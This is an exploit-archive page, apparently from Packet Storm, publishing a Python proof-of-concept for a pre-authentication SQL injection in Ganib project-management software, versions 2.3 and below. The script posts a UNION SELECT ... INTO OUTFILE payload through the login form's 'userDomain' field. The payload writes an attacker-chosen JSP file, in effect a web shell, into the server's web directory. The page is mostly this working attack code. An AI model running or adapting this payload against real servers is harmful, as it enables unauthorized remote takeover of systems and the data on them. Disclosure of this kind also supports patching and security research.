what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ganib 2.3 SQL Injection

Ganib 2.3 SQL Injection
Posted Mar 4, 2014
Authored by drone

Ganib versions 2.3 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | f53669a90a92541ae5ebdad41e56273cd5fd6b51046bd02996f9b2579f3c29e3

Ganib 2.3 SQL Injection

Change Mirror Download
# Exploit title: Ganib 2.x SQLi
# Date: 02/02/2014
# Exploit author: drone (@dronesec)
# More information: http://hatriot.github.io/blog/2014/02/24/ganib-project-management-2.3-sqli/
# Vendor homepage: http://www.ganib.com/
# Software link: http://downloads.sourceforge.net/project/ganib/Ganib-2.0/Ganib-2.0_with_jre.zip
# Version: <= 2.3
# Fixed in: 2.4
# Tested on: Ubuntu 12.04 (apparmor disabled) / WinXP SP3

from argparse import ArgumentParser
import sys
import string
import random
import requests

""" Ganib 2.0 preauth SQLi PoC
@dronesec
"""

def loadJSP(options):
data = ''

try:
with open(options.jsp) as f:
for line in f.readlines():
data += line.replace("\"", "\\\"").replace('\n', '')
except Exception, e:
print e
sys.exit(1)

return data

def run(options):
print '[!] Dropping %s on %s...' % (options.jsp, options.ip)

url = "http://{0}:8080/LoginProcessing.jsp".format(options.ip)
shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))

exploit = '1 UNION SELECT "{0}","1","2","3" INTO OUTFILE "{1}"'
exploit = exploit.format(loadJSP(options), options.path + '/%s.jsp' % shell)

data = { "theAction" : "submit",
"J_USERNAME" : "test",
"J_PASSWORD" : "test",
"language" : "en",
"remember_checkbox" : "on",
"userDomain" : exploit
}

res = requests.post(url, data=data)
if res.status_code is 200:
print '[!] Dropped at /{0}.jsp'.format(shell)
else:
print '[!] Failed to drop JSP (HTTP {0})'.format(res.status_code)


def parse():
parser = ArgumentParser()
parser.add_argument("-i", help='Server ip address', action='store', dest='ip',
required=True)
parser.add_argument("-p", help='Writable web path (/var/www/ganib)', dest='path',
action='store', default='/var/www/ganib')
parser.add_argument("-j", help="JSP to deploy", dest='jsp', action='store')

options = parser.parse_args()
options.path = options.path if options.path[-1] != '/' else options.path[:-1]
return options

if __name__ == "__main__":
run(parse())
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close